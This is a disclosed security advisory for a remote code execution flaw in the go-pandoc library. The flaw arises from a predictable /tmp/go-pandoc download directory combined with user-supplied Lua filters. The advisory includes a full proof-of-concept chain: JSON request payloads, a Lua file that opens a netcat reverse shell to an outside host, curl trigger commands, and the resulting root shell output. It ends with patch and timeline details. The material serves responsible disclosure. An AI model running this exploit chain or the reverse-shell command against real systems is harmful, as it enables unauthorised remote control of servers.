Go-pandoc is vulnerable to remote code execution through a user included LUA filter. An attacker can upload a LUA file to a known location on the file system due to a predictable temporary directory being used when handling certain file type includes. The uploaded LUA file can then be used as a filter in a subsequent request, allowing for the execution of arbitrary LUA code.
Date Released: 29/01/2019
Author: Denis Andzakovic
Project Website: https://github.com/gogap/go-pandoc
Affected Software: Go-pandoc
Details
The go-pandoc library uses the toCommandFileArgs
method to download metadata, template, syntax-definition and include files from user specified URLs. These files are downloaded into the /tmp/go-pandoc/
directory. By specifying an attacker controlled URL in one of the parameters, an attacker can coerce the go-pandoc library to download a malicious LUA filter. This temporary file is deleted after the processing is completed, however the attacker can specify a second parameter (such as a syntax-definition) and hold the connection open. This results in the file remaining in the /tmp/go-pandoc/
directory long enough to trigger a second request to use the malicious filter.
Proof-of-Concept Exploit
The POC was staged against go-pandoc
running in a docker container (docker run -it -d -p 8080:8080 idocking/go-pandoc:latest ./go-pandoc run
). Curl is used to send the two requests, one to upload the file and the other to trigger the malicious LUA filter. Netcat is used as a simple web server that will serve one file and hold any subsequent connections open with no data. The payload is a reverse shell using netcat.
The following figure shows the payload to upload the malicious file (load.json
):
{"fetcher": {
"name": "data",
"params": {
"data": "IyMjIEhlbGxvCgo+IEdvLVBhbmRvYw=="
}
},
"converter":{
"from": "markdown",
"to" : "pdf",
"standalone": true,
"template": "http://172.17.0.1:8000/rce_poc.lua",
"syntax_definition": "http://172.17.0.1:8000/rce_poc.lua"
},
"template": "binary"
}
The following figure shows the execution payload (exec.json
):
{
"fetcher": {
"name": "data",
"params": {
"data": "IyMjIEhlbGxvCgo+IEdvLVBhbmRvYw=="
}
},
"converter":{
"from": "markdown",
"to" : "pdf",
"standalone": true,
"lua_filter": "/tmp/go-pandoc/rce_poc.lua"
},
"template": "binary"
}
The following LUA snippet was used in rce_poc.lua
:
return {
os.execute ("/usr/bin/nc 172.17.0.1 8011 -e /bin/bash")
}
The malicious LUA file is served using a netcat webserver ({ echo -ne "HTTP/1.0 200 OK\r\nContent-Length: $(wc -c < rce_poc.lua)\r\n\r\n"; cat rce_poc.lua; } | nc -k -l -p 8000
) and a reverse shell listener is created using nc -v -k -l -p 8011
.
The following command will send the two requests, uploading and triggering the malicious filter:
curl -X POST http://127.0.0.1:8080/v1/convert -H 'content-type: application/json' -d @load.json & sleep 1; curl -X POST http://127.0.0.1:8080/v1/convert -H 'content-type: application/json' -d @exec.json
The above resulted in the execution of the LUA filter and a reverse shell:
doi@ubuntu:~$ nc -vv -k -l -p 8011
Listening on [0.0.0.0] (family 0, port 8011)
Connection from 172.17.0.2 36905 received!
id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
uname -a
Linux c5d782b5a561 4.15.0-43-generic #46-Ubuntu SMP Thu Dec 6 14:45:28 UTC 2018 x86_64 Linux
pwd
/app
Patch
This vulnerability was resolved by commit 540666673c6e5918ef8c81e8d35003e22fde51f4
. Go-pandoc now disables the filter
and lua_filter
by default, requiring a configuration change to re-enable the parameters.
Timeline
25/01/2019 - Email address requested on Github
27/01/2019 - Advisory sent
28/01/2019 - Patches commited to GitHub
29/01/2019 - Advisory released